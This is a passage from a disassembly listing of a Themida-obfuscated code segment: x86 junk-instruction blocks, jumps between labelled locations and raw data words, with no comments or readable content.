		dd 242C8124h, 63830872h, 0FED8ACE9h, 1C8B5EFFh,	1BABE924h
		dd 148B0000h, 5F545724h, 4C781h, 0C7810000h, 4,	0E9243C87h
		dd 0FFFF4E1Bh, 3272EE81h, 0F531AB67h, 5DEB895Eh, 4074F381h
		dd 0DE0136F1h, 0EE815B5Bh, 4, 2474FF56h, 48F5E04h, 0F451E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C3E:				; CODE XREF: Themida_:005624B9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	ebx
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0FFFFFFFFh
		shl	ebx, 5
		add	ebx, 0BADB3020h
		and	eax, ebx
		jmp	loc_553B96
; ---------------------------------------------------------------------------
		dw 8150h
		dd 4ECh, 2236E900h, 0C281FFFFh,	2995509Dh, 0EA81DA29h
		dd 2995509Dh, 0A16EA81h, 0EA810A96h, 69726D52h,	0FF34F8E9h
		dd 4C481FFh, 21000000h,	34FF1C47h, 89505824h, 405E0h, 4050000h
		dd 87000000h, 248B2404h, 0D117E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560CAE:				; CODE XREF: Themida_:0056038Ej
		add	dword ptr [esp], 3682C5Bh
		sub	[esp], edi
		sub	dword ptr [esp], 3682C5Bh
		pop	edi
		sub	edi, 0DF5DFBFBh
		add	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_54FA6F
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0FFDD51E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560CE9:				; CODE XREF: Themida_:0055EEE0j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------
		dd 33243431h, 27E92434h, 31FFFF70h, 91D0F7C1h, 1035E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D26:				; CODE XREF: Themida_:00558BA4j
		pop	ebx
		jmp	loc_5623BA
; ---------------------------------------------------------------------------
		dd 4EC81h, 85E90000h, 59FFFED5h, 0FF3152E9h, 4C681FFh
		dd 55000000h, 790FA1BDh, 33ED8111h, 4D239071h, 6A8ED81h
		dd 0CD8148A7h, 0F487C06h, 0FFC3ED81h, 0EE01AF49h, 0FF25CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560D69:				; CODE XREF: Themida_:00557EB4j
		mov	ebx, esp
		push	29C7h
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5511DE
; ---------------------------------------------------------------------------
		dw 0E5BFh
		dd 81686E1Bh, 22639CFh,	0D45EE91Fh, 0EC81FFFFh,	4, 0FF067FE9h
		dd 5BDF29FFh, 56E468h, 243C8900h, 42474FFh, 83243C8Bh
		dd 3CE904C4h, 68FFFEE8h, 4D15h,	0E9240C89h, 0FFFF7A4Bh
		dd 0FECFF4E9h, 0F72959FFh, 24148B5Eh, 0FF4EADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560DDD:				; CODE XREF: Themida_:0054E987j
		mov	[esp], esi
		jmp	loc_557C0D
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0D6h
		dd 89E8B12Ah, 0C1835FF9h, 0BEE981FFh, 0E9F04067h, 0FFFF825Bh
; ---------------------------------------------------------------------------


loc_560DFC:				; CODE XREF: Themida_:005602F1j
		mov	esi, esp
		add	esi, 4
		push	edx
		push	eax
		mov	eax, 5E2C7AEFh
		dec	eax
		dec	eax
		inc	eax
		jmp	loc_550AB8
; ---------------------------------------------------------------------------
aQissvhV	db 'Q‰áSVhìv',0
		dd 46E95E74h, 59FFFF03h, 0FFC140E9h, 81C629FFh,	7F4544C6h
		dd 34335846h, 24343124h, 5C243433h, 0E9243489h,	0D31h
		dd 56241C8Bh, 0C6815E54h, 4, 4C681h, 34330000h,	8A4E924h
		dd 405FFFFh, 53000000h,	4BBh, 8BD80100h, 1E9241Ch, 81FFFFC9h
		dd 0CF438FC2h, 55C2290Bh, 0CF438FBDh, 0BB2FE90Bh, 0D5F7FFFFh
		dd 0BD55EB87h, 0DD4BF598h, 295DEB29h, 2434FFD8h, 6381E95Bh
		dd 3431FFFFh, 24343324h, 2424D25Ch, 0CF17E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560EAE:				; CODE XREF: Themida_:00551865j
		sub	esp, 4
		jmp	loc_55FD62
; ---------------------------------------------------------------------------


loc_560EB9:				; CODE XREF: Themida_:0055A05Ej
		mov	ebx, eax
		pop	eax
		sub	[esp+4], ebx
		pop	ebx
		pop	esi
		push	ebp
		mov	ebp, 31254B75h
		add	ebp, 0FFD31302h
		jmp	loc_55E453
; ---------------------------------------------------------------------------
		db 81h
		dd 0B06137EDh, 5DEE0170h, 1780EE81h, 875F2D8Ah,	0E95C2434h
		dd 0FFFF325Bh, 171505ADh, 0D8016E73h, 6CE95253h, 1FFFFDEh
		dd 83685BDDh, 89000053h, 4BF243Ch, 1000000h, 243C8BFDh
		dd 4C481h, 2C870000h, 5F4DE924h, 0F781FFFFh, 85DBF412h
		dd 0FFCF57E9h, 0C18358FFh, 240C3304h, 33240C31h, 57E9240Ch
		dd 89FFFF40h, 2BE2434h,	81472D14h, 3C5A44C5h, 81F5011Ah
		dd 3C5A44EDh, 0E0E95E1Ah, 8BFFFF88h, 71E92404h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560F5F:				; CODE XREF: Themida_:0054DEBDj
		xor	edi, 15CFABD5h
		push	ecx
		mov	ecx, 46082882h
		jmp	loc_550CFD
; ---------------------------------------------------------------------------


loc_560F70:				; CODE XREF: Themida_:00559BD8j
		xor	al, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55925C
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E9E78957h, 0FFFF52CDh, 44DAC281h, 0BFE92059h
		dd 5FFFF74h, 1,	714C120Dh, 0E2D3E93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560FA6:				; CODE XREF: Themida_:0055C9FDj
		push	ebp
		push	ecx
		mov	ecx, 139D404Dh
		mov	ebp, 50BDFC7Bh
		add	ebp, ecx
		pop	ecx
		not	ebp
		push	ebx
		jmp	loc_556520
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 1Bh
		dd 0B5FFFF00h, 5495E966h, 433FFFFh, 2C895C24h, 0EECEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560FD6:				; CODE XREF: Themida_:00550D1Aj
		pop	edx
		add	edx, 7BB252A3h
		mov	eax, [esp]
		push	ebp
		jmp	loc_55B08C
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 3A2A4829h, 0FED5BFE9h, 0D8E956FFh
		db 0D1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560FF7:				; CODE XREF: Themida_:00557A90j
		sub	esi, ebp
		pop	ebp
		push	esi
		mov	esi, 2EDE055Ah
		shr	esi, 3
		xor	esi, 29D2F849h
		sub	ecx, esi
		pop	esi
		add	ecx, esi
		add	ecx, 2C0938E2h
		pop	esi
		sub	ecx, 2
		push	0D85h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_54E59C
; ---------------------------------------------------------------------------
		dd 0B3F4E981h, 0CF29E632h, 58350559h, 0F8014597h, 9758352Dh
		dd 243C8B45h, 4C481h, 0FBE90000h, 5CFFFEF7h, 3C8BF989h
		dd 4C48124h, 31000000h,	240C8BC8h, 53E68956h, 4BBh, 61D3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56106E:				; CODE XREF: Themida_:0054F6C2j
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_555868
; ---------------------------------------------------------------------------
		dw 0A1B8h
		dd 0E9635C61h, 0FFFF8128h, 24148B5Bh, 8104C483h, 313F05C9h
		dd 20E98137h, 1243734h,	8B5959CAh, 0C4832434h, 56EA8104h
		dd 12E9953h, 0ADA0E9C2h, 8B66FFFFh, 57682404h, 89000059h
		dd 8953243Ch, 4C381E3h,	81000000h, 4EBh, 241C8700h, 678CE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5610D6:				; CODE XREF: Themida_:005551A8j
		push	dword ptr [edi+1Ch]
		jmp	loc_553A79
; ---------------------------------------------------------------------------


loc_5610DE:				; CODE XREF: Themida_:00561848j
		push	eax
		mov	eax, 1A290087h
		sub	ebx, 5B7A6B47h
		sub	ebx, eax
		add	ebx, 5B7A6B47h
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 8B32D90h
		jmp	loc_561297
; ---------------------------------------------------------------------------


loc_561106:				; CODE XREF: Themida_:0054F09Ej
		pop	dword ptr [esp]
		pop	esp
		sub	ebp, 0FFFFFFFFh
		jmp	loc_553B30
; ---------------------------------------------------------------------------
		db 51h,	53h, 68h
		dd 0E434BFCh, 0D0EB815Bh, 89FED4F8h, 0CE295BD9h, 0FF6DAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56112D:				; CODE XREF: Themida_:0055406Aj
		or	ecx, edx
		pop	edx
		jmp	loc_561DC2
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 3C8704C7h, 0CE295C24h, 24348759h,	0FF7703E9h
		dd 0E9E189FFh, 132h
; ---------------------------------------------------------------------------


loc_561154:				; CODE XREF: Themida_:00551C10j
		or	edi, 420B0188h
		xor	edi, 1F3C91FFh
		mov	ebp, edi
		jmp	loc_552E03
; ---------------------------------------------------------------------------
		db 29h
		dd 0BD22E9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56116E:				; CODE XREF: Themida_:0055A7E9j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, esi
		mov	esi, [esp]
		push	esi
		jmp	loc_5596D1
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 2, 31243433h, 69E92434h, 0B8FFFF63h,	17DC5669h, 0FED98FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5611A5:				; CODE XREF: Themida_:0055B5D2j
		add	edx, 3A954C27h
		jmp	loc_554012
; ---------------------------------------------------------------------------
		dd 8702C383h, 805C241Ch, 0C28005C2h, 0DEA80BFh,	0FFE849E9h
		dd 595E51FFh, 2602C681h, 0EB8118FFh, 5033515Bh,	1393C381h
		dd 0F301407Eh, 0FF6A54E9h, 0E95658FFh, 0FFFF4C14h
; ---------------------------------------------------------------------------


loc_5611E8:				; CODE XREF: Themida_:0055CABCj
		mov	edi, ecx
		pop	ecx
		jmp	loc_553AE5
; ---------------------------------------------------------------------------
		dd 4BBh, 0FC18100h, 10AFD34h, 0FE981D9h, 8B0AFD34h, 0C483241Ch
		dd 240C8704h, 0FF603AE9h, 8BE981FFh, 291BB16Ch,	0DF14E9C8h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56121E:				; CODE XREF: Themida_:005597AEj
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		push	28450B09h
		jmp	loc_554382
; ---------------------------------------------------------------------------


loc_561239:				; CODE XREF: Themida_:0055DB5Fj
		add	ecx, 43B2406Bh
		inc	ecx
		push	ecx
		jmp	loc_55C9DA
; ---------------------------------------------------------------------------
		dw 0DE86h
		dd 0D8885066h, 0C388D0F6h, 0DE865866h, 95E95166h, 0BFFFFF9Ah
		dd 273B1990h, 0E95FFB89h, 0FFFFBF78h, 0E951CF88h, 0FFFF930Ch
		dd 4EC81h, 0FEE90000h, 81FFFF50h, 9067D7E2h, 0FC12E92Fh
		dd 0C181FFFEh, 4, 8704C183h, 0EBE9240Ch
		db 0FBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_561297:				; CODE XREF: Themida_:00561101j
		shr	ebx, 8
		shr	ebx, 4
		push	339Ch
		mov	[esp], edi
		jmp	loc_552362
; ---------------------------------------------------------------------------
		dd offset dword_598468
		dw 8900h
		dd 0F9B42404h, 0DCF6D4F6h, 0E950B353h, 0FFFF7E1Ch
; ---------------------------------------------------------------------------


loc_5612C0:				; CODE XREF: Themida_:0055659Dj
		sub	esi, 0FE54D4Ch
		push	edx
		jmp	loc_55D85D
; ---------------------------------------------------------------------------
		dd 5C242C87h, 89243489h, 4C681E6h, 53000000h, 347FE2BBh
		dd 0DABAE948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5612E6:				; CODE XREF: Themida_:005627FDj
		sub	eax, 45BF0095h
		add	ecx, eax
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		push	6CF1h
		jmp	loc_56292A
; ---------------------------------------------------------------------------


loc_561307:				; CODE XREF: Themida_:0055E999j
		or	edx, eax
		shl	edx, 1
		push	eax
		sub	esp, 4
		mov	[esp], edx
		push	4AFB1A8Dh
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	0ABEh
		mov	[esp], edi
		mov	edi, 4
		add	eax, 3B920674h
		add	eax, edi
		jmp	loc_55FF61
; ---------------------------------------------------------------------------


loc_561344:				; CODE XREF: Themida_:005505DCj
		pop	ebp
		shr	edi, 2
		push	edx
		jmp	loc_559CCB
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 83240C8Bh, 0C78104C4h, 4, 8B243C87h,	0B8E92424h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561367:				; CODE XREF: Themida_:00556BC1j
		xor	[esp], eax
		jmp	loc_55AE03
; ---------------------------------------------------------------------------


loc_56136F:				; CODE XREF: Themida_:00550DFAj
		xor	ecx, 676ED27Eh
		add	ebx, ecx
		pop	ecx
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, esi
		pop	esi
		add	ebp, 2
		push	ebp
		jmp	loc_55AC67
; ---------------------------------------------------------------------------
		dw 3157h
		dd 0F7E9242Ch, 5CFFFFD7h, 55243489h, 4BDh, 5DEE8900h, 4247401h
		dd 0FF4C7BE9h, 0E9CD29FFh, 29Dh
; ---------------------------------------------------------------------------


loc_5613B8:				; CODE XREF: Themida_:005578C2j
		sub	esi, 1B55687Ch
		add	esi, 3C10BBDEh
		push	ebx
		jmp	loc_55B0A1
; ---------------------------------------------------------------------------


loc_5613CA:				; CODE XREF: Themida_:005545D8j
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_55B23C
; ---------------------------------------------------------------------------
		dd 0E98CCF80h, 0FFFFEFFBh, 44DAEA81h, 0C2812059h, 3F524DEDh
		dd 83243C8Bh, 0EA8304C4h, 24143304h, 33241431h,	248B2414h
		dd 4143E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561402:				; CODE XREF: Themida_:00561494j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	41C8h
		mov	[esp], edx
		mov	edx, esp
		push	eax
		push	edi
		jmp	loc_561C1E
; ---------------------------------------------------------------------------


loc_561420:				; CODE XREF: Themida_:0055809Fj
		mov	eax, 0AEA7AC21h
		add	ebx, eax
		pop	eax
		mov	ebp, ebx
		pop	ebx
		push	edi
		jmp	loc_559B80
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0F8h
		dd 81743B04h, 27518CF7h, 0C1EF817Eh, 814B6A4Ch,	0EF7539EFh
		dd 39B2E941h, 0DEF7FFFFh, 0FEEEA5E9h, 240C31FFh, 5C240C33h
		dd 9C240409h, 0FEC960E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561465:				; CODE XREF: Themida_:00558E69j
		not	dword ptr [esp]
		pop	ebx
		sub	ebx, 1
		push	49AAh
		mov	[esp], edi
		mov	edi, 34821C51h
		jmp	loc_56039B
; ---------------------------------------------------------------------------
		db 0D1h, 0E8h, 0E9h
		dd 0FFFFC14Bh
; ---------------------------------------------------------------------------


loc_561488:				; CODE XREF: Themida_:00558A41j
		xor	ebx, eax
		xor	eax, ebx
		push	esi
		mov	esi, 1
		and	eax, esi
		jmp	loc_561402
; ---------------------------------------------------------------------------
		db 83h,	0E9h, 4
		dd 5C240C87h, 0FF0FBEE9h, 6DCA81FFh, 8176FA59h,	3FF499F2h
		dd 5AD301EBh, 57E9DE01h, 68FFFFB5h, 34F1h, 89242C89h, 0F972E9E5h
		dd 34FFFFFEh, 6277E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5614D2:				; CODE XREF: Themida_:0055A486j
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_551B47
; ---------------------------------------------------------------------------


loc_5614DB:				; CODE XREF: Themida_:005553BAj
		mov	[esp], ebx
		mov	ebx, 0DD64C58h
		jmp	loc_5571DA
; ---------------------------------------------------------------------------
		dd 5ACFB951h, 8CE97BC2h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5614F3:				; CODE XREF: Themida_:005564E7j
		push	20AFh
		mov	[esp], edi
		mov	edi, 8F4D5Dh
		or	edi, 454652D9h
		xor	edi, 0E72018Eh
		sub	edi, 0DB7D3D54h
		not	edi
		shl	edi, 2
		shl	edi, 5
		push	ebx
		push	esi
		push	7F5A7309h
		pop	esi
		not	esi
		sub	esi, 7A6B758Fh
		dec	esi
		sub	esi, 0DBEB0EB3h
		jmp	loc_557965
; ---------------------------------------------------------------------------


loc_561536:				; CODE XREF: Themida_:005526ACj
		mov	[esp], eax
		mov	eax, 786E43C4h
		jmp	loc_56288A
; ---------------------------------------------------------------------------


loc_561543:				; CODE XREF: Themida_:0055CE03j
		add	ecx, eax
		sub	ecx, 3BC02A25h
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_54F1AD
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 4C381h, 0C3810000h, 4, 31241C33h, 1C33241Ch
		dd 2521E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561576:				; CODE XREF: Themida_:00556408j
		push	ebx
		jmp	loc_55F7D5
; ---------------------------------------------------------------------------
		dd 0E908EFC1h, 0FFFFE60Bh, 0D56EE95Bh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56158A:				; CODE XREF: Themida_:005521D8j
		sub	edx, 40AA374Eh
		jmp	loc_554D7B
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0C4h
		dd 0E9267F30h, 0FFFED212h, 0B753620Ch, 0CD8DE9A4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5615AA:				; CODE XREF: Themida_:0055B096j
		xor	edi, 0DCF5556Bh
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edx, eax
		pop	eax
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55752E
; ---------------------------------------------------------------------------
		dw 55B8h
		dd 0F73BEA0Dh, 54A3E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5615DA:				; CODE XREF: Themida_:00557329j
		mov	bl, dl
		mov	al, bl
		pop	ebx
		jmp	loc_55160A
; ---------------------------------------------------------------------------


loc_5615E4:				; CODE XREF: Themida_:0055F994j
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55EE21
; ---------------------------------------------------------------------------


loc_561606:				; CODE XREF: Themida_:00551228j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_556D93
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 6C1630F8h, 0E9CF0868h, 0C2815A93h, 0C1D0883h, 0F7DEA81h
		dd 0E9536158h, 0FFFF3938h
; ---------------------------------------------------------------------------


loc_561630:				; CODE XREF: Themida_:0055D737j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	3378h
		mov	[esp], edi
		jmp	loc_55C10E
; ---------------------------------------------------------------------------


loc_56164D:				; CODE XREF: Themida_:0055C121j
		sub	esp, 4
		jmp	loc_561B9E
; ---------------------------------------------------------------------------
		db 59h,	1, 0CDh
		dd 0FFD749E9h, 5366ACFFh, 84E907B7h, 66FFFFAAh,	4334F381h
		dd 7EBC166h, 0B3BA6652h, 0F281664Fh, 81666E63h,	0E95CBDC2h
		dd 0FFFF6063h, 3AE9008Fh, 5CFFFEC7h, 8904EC83h,	7E9242Ch
		dd 89000000h, 0C345E9D6h, 5D54FFFFh, 206268h, 240C8900h
		dd 0FF47F8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5616AD:				; CODE XREF: Themida_:0055C20Ej
		shl	edx, 2
		shl	edx, 6
		jmp	loc_5598D4
; ---------------------------------------------------------------------------


loc_5616B8:				; CODE XREF: Themida_:0054DDC6j
		xor	al, bl
		push	257Dh
		mov	[esp], ecx
		push	ebx
		push	4C2h
		mov	[esp], edx
		jmp	loc_559960
; ---------------------------------------------------------------------------
		dd 0E9028F64h, 0FFFEC6EDh, 0B8665066h, 296615EFh, 0E95866C6h
		dd 0FFFF9961h, 835FFD01h, 2C3304EDh, 242C3124h,	8B242C33h
		dd 3C892424h, 68E78924h, 7431h,	0E9240C89h, 0FFFEFE90h
		dd 4C4835Fh, 5503E2C1h,	0E77E9h
		db 0
; ---------------------------------------------------------------------------


loc_561719:				; CODE XREF: Themida_:005557CFj
		mov	eax, ebp
		pop	ebp
		jmp	loc_557B06
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 89h
		dd 0FFAD7BE9h, 0E962B6FFh, 0FFFF151Fh, 0CC80C4FEh, 0FFEC80E0h
		dd 2850ED80h, 0B921E9E5h, 2C89FFFFh, 1C45E924h,	0C580FFFFh
		dd 59E82800h, 0FE4AE959h, 34FFFFFFh, 0C4815A24h, 4, 0FFC305E9h
		dd 240C89FFh, 0FECDF9E9h, 1E6851FFh, 0E900000Dh, 0FFFFEA5Dh
		dd 815AD701h, 4C7h, 243C8700h, 0FB8505Ch, 48688156h, 0D2E9D0F7h
		dd 89FFFF7Bh, 4BF57E3h,	50000000h, 0D9790EB8h, 18DD0571h
		dd 2CE91191h, 5AFFFF9Eh, 31240433h, 4332404h, 24248B24h
		dd 0E9E1F766h, 0FFFEE216h, 8002EBC0h, 0C1803EEBh, 99AE94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5617CE:				; CODE XREF: Themida_:0055E410j
		xor	ah, ch
		pop	cx
		shr	ah, 6
		push	1F24h
		jmp	loc_5514B0
; ---------------------------------------------------------------------------


loc_5617DF:				; CODE XREF: Themida_:0054F248j
		add	edi, 0F2C55939h
		jmp	loc_54FA11
; ---------------------------------------------------------------------------
		dw 4968h
		dd 5E59BE1Ch, 95DF681h,	0D8680BBCh, 89000017h, 82B9240Ch
		dd 0E962A753h, 0FFFEE215h
; ---------------------------------------------------------------------------


loc_561808:				; CODE XREF: Themida_:00554330j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	21C1h
		jmp	loc_55A1C2
; ---------------------------------------------------------------------------


loc_56181C:				; CODE XREF: Themida_:0055DFA5j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 265A3FFAh
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 0FFFFFFFFh
		jmp	loc_55F2F2
; ---------------------------------------------------------------------------


loc_56183A:				; CODE XREF: Themida_:00554D53j
		mov	ebp, 1D885131h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 416B00B5h
		jmp	loc_5610DE
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 89530000h, 0DEC1E9E3h, 0CBEFFFEh, 817B5E5Eh,	6D7C2CE6h
		dd 0E1C6814Eh, 0E9500514h, 0FFFF0174h, 9F9BB850h, 0C131CC54h
		dd 595F5158h, 6039F781h, 0FD893BA8h, 0D0EB815Fh, 0E9148728h
		dd 0FFFF6FF3h, 8324048Bh, 0F7E904C4h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56189B:				; CODE XREF: Themida_:00559194j
		push	edi
		mov	edi, 64B36B44h
		sub	edi, 5E263B61h
		add	edi, 1
		inc	edi
		add	edi, 64FC4498h
		mov	edx, edi
		pop	edi
		jmp	loc_5557A9
; ---------------------------------------------------------------------------


loc_5618BC:				; CODE XREF: Themida_:0055BF21j
		mov	ebx, 714A4A70h
		jmp	loc_54F028
; ---------------------------------------------------------------------------


loc_5618C6:				; CODE XREF: Themida_:00561C4Dj
		pop	ebp
		sub	edx, 0FBDF76CDh
		jmp	loc_5545E5
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0D9B6E924h, 685EFFFEh, 1989h, 83243489h, 2C8904ECh
		dd 4302BD24h, 685234A3h, 67D7002Fh, 4ABB535Ah, 0E90C60A1h
		dd 0FFFF35F5h, 68E18951h, 5233h, 83241C89h, 348904ECh
		dd 6065BE24h, 0FF563777h, 565E240Ch, 1242C81h, 8B000000h
		dd 0C4832434h, 67F68104h, 0E9377760h, 0FFFFE240h, 534FB652h
		dd 0EC8355B7h, 0C896602h, 2857B524h, 285966EEh,	57C680FEh
		dd 0C0C6FE5Bh, 0CE8004E6h, 0C5E95003h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56195B:				; CODE XREF: Themida_:0055D934j
		add	edx, 5E5940CEh
		sub	edx, 5E553816h
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55FC8D
; ---------------------------------------------------------------------------
		dd 89241C89h, 4C381E3h,	68000000h, 68EBh, 0BF243C89h, 2
		dd 647F68h, 242C8900h, 413449BDh, 69AEE961h, 0E168FFFFh
		dd 89000065h, 24E92434h
		db 0D4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5619AF:				; CODE XREF: Themida_:0055E9E2j
		mov	esi, esp
		add	esi, 4
		jmp	loc_55DC01
; ---------------------------------------------------------------------------
		dd offset dword_4A42CC+539Ch
		dd 241C8900h, 0FF28DCE9h, 0CEBA52FFh, 8124FA25h, 0C00574CAh
		dd 0C1DAF719h, 0D2F704EAh, 0FF21A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5619E1:				; CODE XREF: Themida_:0055ECD7j
		and	eax, ecx
		jmp	loc_5551A2
; ---------------------------------------------------------------------------


loc_5619E8:				; CODE XREF: Themida_:00554932j
		pop	eax
		push	dword ptr [esp]
		jmp	loc_55AADF
; ---------------------------------------------------------------------------


loc_5619F1:				; CODE XREF: Themida_:005510E8j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55C9E3
; ---------------------------------------------------------------------------


loc_5619FD:				; CODE XREF: Themida_:005522D5j
		pop	ecx
		shr	eax, 0Ah
		jmp	loc_55D642
; ---------------------------------------------------------------------------
		dw 0C9FEh
		dd 0C180D1F6h, 8BC80025h, 0C481240Ch, 4, 68C3305Bh, 1C4Bh
		dd 0E9241C89h, 0FFFFA458h, 0E9240C8Bh, 0FFFFB9EDh, 0B8E9E089h
		dd 83FFFFD4h, 5E042404h, 8904EC83h, 6BBA2414h, 4A479B6Dh
		dd 8104EAC1h, 4EB96FF2h, 0A8EA810Ch, 4A315F35h,	1F685342h
		dd 5B75074Ch, 0FF3F90E9h, 0E9E389FFh, 0FFFEF010h, 241C895Ch
		dd 0C22D5CBBh, 78F38140h, 0E975876Eh, 0FFFFF0B7h
; ---------------------------------------------------------------------------


loc_561A80:				; CODE XREF: Themida_:00556B97j
		add	edi, 0A9659C6Eh
		mov	ecx, edi
		jmp	loc_555661
; ---------------------------------------------------------------------------
		dd offset dword_55C128+40h
		align 2
		dw 489h
		dd 0E9E08924h, 0FFFEE6A7h
; ---------------------------------------------------------------------------


loc_561A9C:				; CODE XREF: Themida_:005501E7j
		push	edi
		mov	edi, 1198021Fh
		xor	esi, edi
		pop	edi
		mov	ebx, esi
		pop	esi
		add	ebx, edi
		add	[ebx], ecx
		pop	ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55436E
; ---------------------------------------------------------------------------


loc_561AB8:				; CODE XREF: Themida_:0055F918j
		add	ecx, 8A5487B8h
		sub	ebp, ecx
		jmp	loc_5527B0
; ---------------------------------------------------------------------------


loc_561AC5:				; CODE XREF: Themida_:0054F2D6j
		push	100h
		jmp	loc_55A223
; ---------------------------------------------------------------------------


loc_561ACF:				; CODE XREF: Themida_:0054E02Aj
		mov	ebx, 0A2F26D78h
		add	ebx, edx
		pop	edx
		jmp	loc_55F629
; ---------------------------------------------------------------------------
aX313LS		db 'X3,$1,$3,$‹$$S»',0
		dd 0E9000000h, 0FFFF99B8h, 9D1C77FFh, 11665866h, 0E99C2404h
		dd 0FFFF264Fh, 5B2434FFh, 4A4468h, 24348900h, 144068h
		dd 24248900h, 4240481h,	5E000000h, 0BCADE955h, 0C781FFFFh
		dd 4, 0E9243C87h, 0FFFF067Eh
; ---------------------------------------------------------------------------


loc_561B34:				; CODE XREF: Themida_:0055D37Ej
		not	eax
		shl	eax, 3
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_54E5CA
